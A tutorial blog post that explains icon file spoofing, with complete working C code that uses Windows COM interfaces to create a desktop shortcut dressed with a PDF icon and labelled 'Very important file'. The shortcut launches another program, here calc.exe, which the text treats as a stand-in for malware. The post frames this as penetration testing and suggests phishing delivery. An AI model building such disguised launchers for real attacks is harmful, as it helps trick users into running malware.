PDF Icon File Spoofing
In this documentation, we will see Icon File Spoofing technique.
What is Icon File Spoofing?
To summarize the technique briefly, it involves changing the icon of the program to deceive the user. This allows the user to view the malware as a harmless file. The icon you choose for the malware can be a PDF, as shown in the example, or any other icon.
To better understand the topic, let’s proceed with an example scenario: imagine you are a pentester tasked with testing the security of a company’s internal network. You need to test how careful company employees are about opening malicious files. In this context, you can send your malicious software disguised as a harmless PDF file via a phishing email or by placing it in a shared folder. If an employee opens the file, it actually runs the malicious software and gains access to their systems.
Coding
Here’s code:
#include <stdio.h>
#include <strsafe.h>
#include <wchar.h>
#include <ShlObj.h>
#include <objbase.h>
#include <Windows.h>
BOOL CreateShortcut(const wchar_t* TargetPath, const wchar_t* ShortcutPath, const wchar_t* IconPath ) {
HRESULT HRES;
IShellLink* PSL = NULL;
IPersistFile* PPF = NULL;
CoInitialize(NULL);
HRES = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (void**)&PSL);
if (FAILED(HRES)) {
wprintf(L"Failed to create IShellLink Object! Error Code: 0x%08X\n", HRES);
return 1;
}
PSL->lpVtbl->SetPath(PSL, TargetPath);
PSL->lpVtbl->SetIconLocation(PSL, IconPath, 0);
PSL->lpVtbl->SetDescription(PSL, L"Very important file");
HRES = PSL->lpVtbl->QueryInterface(PSL, &IID_IPersistFile, (void**)&PPF);
if (FAILED(HRES)) {
wprintf(L"Failed to interface! Error Code: 0x%08X\n", HRES);
return 1;
}
HRES = PPF->lpVtbl->Save(PPF, ShortcutPath, TRUE);
PPF->lpVtbl->Release(PPF);
PSL->lpVtbl->Release(PSL);
CoUninitialize();
wprintf(L"Shortcut Created!\n");
return 0;
}
int main()
{
wchar_t TargetPath[MAX_PATH] = L"C:\\Windows\\System32\\calc.exe";
wchar_t IconPath[MAX_PATH] = L"C:\\path\\to\\pdficon.ico";
wchar_t ShortcutPath[MAX_PATH];
HRESULT HRFolder;
HRFolder = SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, ShortcutPath);
if (FAILED(HRFolder)) {
wprintf(L"Failed to get Desktop Path! Error Code: 0x%08X\n", HRFolder);
return 1;
}
StringCchCatW(ShortcutPath, MAX_PATH, L"\\Projects.lnk");
wprintf(L"Merged Path: %s\n", ShortcutPath);
if (CreateShortcut(TargetPath, ShortcutPath, IconPath) > 0) {
wprintf(L"Failed to create Shortcut!\n");
return -1;
}
return 0;
}
Let’s take a closer look at the code, starting with main:
wchar_t TargetPath[MAX_PATH] = L"C:\\Windows\\System32\\calc.exe";
wchar_t IconPath[MAX_PATH] = L"C:\\path\\to\\pdficon.ico";
wchar_t ShortcutPath[MAX_PATH];
- TargetPath: This variable specifies the path of the target file for the shortcut to be created. This variable specifies the path of our malware.
- IconPath: This variable specifies the path of the icon for the shortcut to be created.
- ShortcutPath: This variable specifies the path of the shortcut to be created.
HRFolder = SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, ShortcutPath);
if (FAILED(HRFolder)) {
wprintf(L"Failed to get Desktop Path! Error Code: 0x%08X\n", HRFolder);
return 1;
}
StringCchCatW(ShortcutPath, MAX_PATH, L"\\Projects.lnk");
wprintf(L"Merged Path: %s\n", ShortcutPath);
In this section, we first get the full path of the desktop directory with the SHGetFolderPath function. Then we combine the directory path with the shortcut name to be created via StringCchCatW. In this way, we get the full path of the shortcut to be created.
I set this shortcut name as Projects.lnk, you can change it if you wish.
if (CreateShortcut(TargetPath, ShortcutPath, IconPath) > 0) {
wprintf(L"Failed to create Shortcut!\n");
return -1;
}
Here, we call the CreateShortcut function we created and make a comparison with if. If the CreateShortcut function returns a value higher than 0, i.e. 1, we print the error message on the screen and return the program with -1.
CoInitialize(NULL);
HRES = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (void**)&PSL);
if (FAILED(HRES)) {
wprintf(L"Failed to create IShellLink Object! Error Code: 0x%08X\n", HRES);
return 1;
}
In the CreateShortcut function, we first initialize the COM components with the CoInitialize function. But why are we initializing COM components? Because IShellLink and IPersistFile interfaces are COM components. These interfaces are the tools we will use to create shortcuts. So we need to initialize the COM components to access them.
Then we create the IShellLink interface with the CoCreateInstance function. If this fails, we return the program by printing an error message.
PSL->lpVtbl->SetPath(PSL, TargetPath);
PSL->lpVtbl->SetIconLocation(PSL, IconPath, 0);
PSL->lpVtbl->SetDescription(PSL, L"Very important file");
HRES = PSL->lpVtbl->QueryInterface(PSL, &IID_IPersistFile, (void**)&PPF);
if (FAILED(HRES)) {
wprintf(L"Failed to interface! Error Code: 0x%08X\n", HRES);
return 1;
}
In this code block, we add Target Path, Icon Path and Description to the IShellLink interface we created. These steps specify the properties of the shortcut we will create. Then we access the IPersistFile interface with the QueryInterface function.
HRES = PPF->lpVtbl->Save(PPF, ShortcutPath, TRUE);
PPF->lpVtbl->Release(PPF);
PSL->lpVtbl->Release(PSL);
CoUninitialize();
wprintf(L"Shortcut Created!\n");
Finally, we save the shortcut we created with the Save function to the full path we created in main. Then we release the IPersistFile and IShellLink interfaces. We terminate the COM components with the CoUninitialize function.
Running the Program
When we run the program, our shortcut will appear on the desktop as follows:

The shortcut actually looks like a pdf, but when we take a look at its properties, it will actually run a different program:

Conclusion
This method is often employed in phishing attacks and penetration testing to evaluate user awareness and the effectiveness of security policies within an organization. By understanding how to create such spoofed shortcuts, security professionals can better prepare defenses against these social engineering tactics.
The provided example demonstrates how to programmatically create a shortcut with a spoofed icon using Windows COM interfaces. It shows the practical implementation of the technique and highlights the risks of trusting only visual cues like file icons.